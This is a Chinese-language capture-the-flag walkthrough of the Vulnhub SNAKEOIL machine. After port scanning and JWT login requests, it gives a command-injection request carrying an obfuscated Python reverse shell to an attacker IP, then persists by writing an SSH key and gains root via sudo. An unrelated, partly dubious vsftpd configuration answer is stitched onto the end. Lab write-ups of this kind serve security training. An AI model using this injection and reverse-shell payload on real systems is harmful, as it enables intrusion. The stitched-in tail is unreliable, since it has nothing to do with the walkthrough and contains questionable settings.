[Vulnhub] SNAKEOIL GoodTech+RCE+SUDO权限提升

信息收集

IP AddressOpening Ports
192.168.101.154TCP:22,80,8080

$ nmap -p- 192.168.101.154 --min-rate 1000 -sC -sV

Host is up (0.0044s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 73:a4:8f:94:a2:20:68:50:5a:ae:e1:d3:60:8d:ff:55 (RSA)
|   256 f3:1b:d8:c3:0c:3f:5e:6b:ac:99:52:80:7b:d6:b6:e7 (ECDSA)
|_  256 ea:61:64:b6:3b:d3:84:01:50:d8:1a:ab:38:29:12:e1 (ED25519)
80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome to SNAKEOIL!
|_http-server-header: nginx/1.14.2
8080/tcp open  http    nginx 1.14.2
|_http-title:  Welcome to Good Tech Inc.'s Snake Oil Project
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: nginx/1.14.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

本地权限

$ dirb http://192.168.101.154:8080

image-2.png

http://192.168.101.154:8080/2

image.png

image-1.png

user:patrick

hash:$pbkdf2-sha256$29000$e0/J.V.rVSol5HxPqdW6Nw$FZJVgjNJIw99RIiojrT/gn9xRr9SI/RYn.CGf84r040

/registration

image-3.png

POST /login HTTP/1.1
Host: 192.168.101.154:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 56
Content-Type:application/json



{
  "username": "admin",
  "password": "admin123"
}

image-4.png

POST /login HTTP/1.1
Host: 192.168.101.154:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 56
Content-Type:application/json


{
  "username": "admin",
  "password": "admin123"
}

image-5.png

GET /secret HTTP/1.1
Host: 192.168.101.154:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Cookie: access_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyMTU3MDgwMCwianRpIjoiNjE5OWY5ZWMtZGQ1Ni00YzA2LTk5NjEtMjNiY2MyZmZhMDUzIiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzIxNTcwODAwLCJleHAiOjE3MjE1NzE3MDB9.OASM_L1yp4HTQn-2DWL0RMqhMVmnQtwz3tj1GSMwHDc;refresh_token_cookie=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTcyMTU3MDgwMCwianRpIjoiOWVkZmQzZDItMGQ5OS00ZGQyLWI1Y2QtOWU4OGYxZmMxMTBhIiwidHlwZSI6InJlZnJlc2giLCJzdWIiOiJhZG1pbiIsIm5iZiI6MTcyMTU3MDgwMCwiZXhwIjoxNzIxNTc0NDAwfQ.EsxVg2G9sjpDrcSzcmUHSC1LmzWtb5a6Q0aOv57e5Yc


image-6.png

commandexecutionissecret

image-7.png

POST /run HTTP/1.1
Host: 192.168.101.154:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 65



{"url":"127.0.0.1:22","secret_key":"commandexecutionissecret"}

image-8.png

POST /run HTTP/1.1
Host: 192.168.101.154:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 319




{"url":"2>null;`p='pyt';b='hon';$p$b -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.101.128\",10032));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;ip=\"ba\";a=\"sh\"; pty.spawn(ip+a)'`", "secret_key":"commandexecutionissecret"}

image-9.png

Local.txt 截屏

image-10.png

Local.txt 内容

Local shell access obtained!

权限提升

patrick@SNAKEOIL:~/.ssh$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOAuKxlopDqsLWIAFeZFEOiSBz9K/go+OybYs5gwGEBE maptnh@maptnh'>authorized_keys

image-11.png

$ cat /home/patrick/flask_blog/app.py

image-12.png

NOreasonableDOUBTthisPASSWORDisGOOD

patrick@SNAKEOIL:~/flask_blog$ sudo /bin/bash

image-13.png

Proof.txt 截屏

image-14.png

Proof.txt 内容

Congratulations on obtaining a root shell on this machine! 😃

  • 4
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于这个问题,我可以为您提供一些指导和提示: 1. 首先,您需要在您的计算机上安装vsftpd服务软件包和ftp客户端软件。可以使用以下命令在Linux系统上进行安装: ``` sudo apt-get update sudo apt-get install vsftpd ftp ``` 2. 接下来,您需要查看防火墙和selinux状态,并根据需要进行相应的配置。可以使用以下命令来查看防火墙和selinux状态: ``` systemctl status firewalld sestatus ``` 可以根据需要关闭防火墙和selinux,或者打开必要的端口并设置selinux规则。 3. 接下来,您需要编辑vsftpd.conf主配置文件,允许所有员工使用匿名用户登录到/var/ftp/XXX_data目录后下载资源。可以使用以下命令来编辑vsftpd.conf文件: ``` sudo nano /etc/vsftpd/vsftpd.conf ``` 然后找到以下行: ``` anonymous_enable=YES anon_root=/var/ftp ``` 将其改为: ``` anonymous_enable=YES anon_root=/var/ftp/XXX_data ``` 4. 然后,您需要在/var/ftp/XXX_data中新建hello文件,使用ftp工具登录该ftp站点并实施hello文件下载操作。可以使用以下命令来创建hello文件: ``` sudo touch /var/ftp/XXX_data/hello ``` 然后,您可以使用ftp客户端工具(如FileZilla)连接到您的FTP服务器并下载hello文件。 5. 为了建立用于维护Web站点内容的FTP站点,您需要创建一个允许本地XXXB用户访问的FTP站点,并将访问的目录限制在/web/www/html目录中,不能进入该目录以外的任何目录。可以使用以下命令来创建FTP站点: ``` sudo mkdir /var/ftp/XXXB_data sudo chown nobody:nobody /var/ftp/XXXB_data sudo chmod a-w /var/ftp/XXXB_data sudo mkdir /web/www/html sudo chown XXXB:XXXB /web/www/html sudo chmod 750 /web/www/html sudo setsebool -P ftp_home_dir on ``` 然后,您可以编辑vsftpd.conf文件,将其配置为允许本地用户XXXB登录FTP站点后具有写入权限,可以上传文件。可以使用以下命令来编辑vsftpd.conf文件: ``` sudo nano /etc/vsftpd/vsftpd.conf ``` 然后找到以下行: ``` #anonymous_enable=YES #anon_upload_enable=YES #anon_mkdir_write_enable=YES ``` 将其改为: ``` anonymous_enable=NO local_enable=YES write_enable=YES local_umask=022 dirmessage_enable=YES use_localtime=YES xferlog_enable=YES connect_from_port_20=YES xferlog_file=/var/log/xferlog xferlog_std_format=YES chroot_local_user=YES allow_writeable_chroot=YES secure_chroot_dir=/var/run/vsftpd/empty pam_service_name=vsftpd rsa_cert_file=/etc/ssl/certs/ssl-cert-snakeoil.pem rsa_private_key_file=/etc/ssl/private/ssl-cert-snakeoil.key ssl_enable=NO ``` 6. 最后,您可以使用ftp客户端工具以本地用户XXXB身份登录该FTP站点,并实施文件上传、下载和删除操作。可以使用以下命令连接到FTP服务器: ``` ftp ftp://localhost ``` 然后使用您的本地用户XXXB的用户名和密码登录,即可进行文件上传、下载和删除操作。 7. 要查看配置文件中的有效配置内容,即不显示以#开头的行,可以使用以下命令: ``` grep -v '^#' /etc/vsftpd/vsftpd.conf ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值